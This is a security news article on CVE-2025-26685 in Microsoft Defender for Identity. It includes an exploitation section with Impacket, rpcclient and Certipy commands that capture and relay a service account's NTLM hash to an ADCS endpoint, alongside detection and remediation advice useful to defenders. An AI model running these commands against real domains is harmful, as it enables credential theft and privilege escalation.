Cyber Security News

Microsoft Defender Spoofing Flaw Enables Privilege Escalation and AD Access

A newly disclosed spoofing vulnerability (CVE-2025-26685) in Microsoft Defender for Identity (MDI) enables unauthenticated attackers to capture Net-NTLM hashes of critical Directory Service Accounts (DSAs), potentially compromising Active Directory environments.

Rated 6.5 (Medium) on the CVSS v3.1 scale, this flaw exploits MDI’s Lateral Movement Paths (LMPs) feature and has been actively addressed in Microsoft’s May 2025 Patch Tuesday updates.

Technical Breakdown

According to the report, the vulnerability stems from MDI’s use of SAM-R protocol queries to map LMPs—security features designed to visualize privilege escalation paths in Active Directory.

Attackers can trigger these queries by initiating anonymous SMB connections to Domain Controllers, forcing the MDI sensor to authenticate via NTLM instead of Kerberos.

Key Exploitation Requirements:

  • Attacker-controlled system with a DNS record (often auto-generated via Windows DHCP)
  • Generation of Windows Event ID 4672 on Domain Controllers during SMB null session attempts1

Exploitation Workflow

Attackers leverage tools like Impacket and Certipy to execute a multi-stage attack:

  1. Hash Capture
bash# Initiate SMB listener
impacket-smbserver share $(pwd) -smb2support

# Trigger MDI sensor via SMB null session
rpcclient -U "" -N 10.0.0.1

This forces the MDI sensor’s DSA to authenticate, exposing its Net-NTLMv1/v2 hash.

  1. Hash Relaying (via ESC8 Vulnerability)
bash# Relay hash to ADCS Web Enrollment endpoint
certipy relay -target http://adcs-ca.domain.local

# Request certificate for DSA
certipy auth -pfx dsa_cert.pfx -dc-ip 10.0.0.1

Successful relaying grants attackers DSA privileges, enabling lateral movement.

Impact Analysis

ComponentRisk
DSA AccountsPrivilege escalation via hash cracking/relaying
Certificate AuthorityMalicious certificate issuance
Lateral MovementUnrestricted access to mapped LMPs

The DSA’s default permissions—including read access to Active Directory’s Deleted Objects Container—allow attackers to reconstruct AD topology and identify high-value targets.

Detection Strategies

Microsoft recommends monitoring for:

  1. Anomalous DSA Authentication
    • Windows Event ID 4624 from non-Domain Controller IPs1
  2. ADCS Template Enumeration text(objectClass=certificationAuthority)(objectclass=pKICertificateTemplate)
  3. Certificate-Based TGT Requests
    • Windows Event ID 4768 with pre-authentication type 161

Remediation Measures

SolutionClassic MDI SensorUnified XDR Sensor
Authentication ProtocolSAM-R (NTLM/Kerberos)WMI (Kerberos-only)
LMP Mapping MethodLocal Admin QueriesBehavioral Analytics
Vulnerability StatusAffectedNot Vulnerable

Microsoft mandates migration to XDR sensors (v3. x+) and suggests:

  • Replacing standard DSA accounts with Group Managed Service Accounts (gMSAs)
  • Disabling LMPs via support request if incompatible with the infrastructure
powershell# Convert DSA to gMSA
New-MDIDSA -Identity "DefenderIdentity" -ForceStandardAccount:$false

This vulnerability highlights the risks of over-permissioned service accounts in security products.

While patches mitigate immediate threats, organizations must audit third-party security tools’ AD integrations and enforce strict NTLM relay protections.

The intersection of MDI’s LMPs and ADCS vulnerabilities demonstrates how chained exploits can turn medium-severity flaws into domain-wide compromises.

Find this News Interesting! Follow us on Google News, LinkedIn, & X to Get Instant Updates

Anupriya

Any Priya is a cybersecurity reporter at GBHackers On Security, specializing in cyber attacks, dark web monitoring, data breaches, vulnerabilities, and malware. She delivers in-depth analysis on emerging threats and digital security trends.

Recent Posts

Hackers Use ConnectWise SkyKick Credentials to Access Microsoft 365, Halting Cloud Backups

Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…

1 day ago

Anthropic’s Claude AI Uncovers Origins of NSA-Provided Cryptographic Keys After 25 Years

Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…

1 day ago

Critical WordPress Flaws Allow Attackers to Execute Remote Code Without Authentication

Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…

1 day ago

OpenBSD Kernel Flaw Dating Back 37 Years Enables Local Privilege Escalation to Root

A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…

1 day ago

GhostAction Hackers Hide Credential-Stealing Malware in Fake Font Files Across 94 GitHub Repositories

GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…

1 day ago

SideCopy Hackers Target Indian Organizations With ReverseRAT Malware to Steal Data

Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…

1 day ago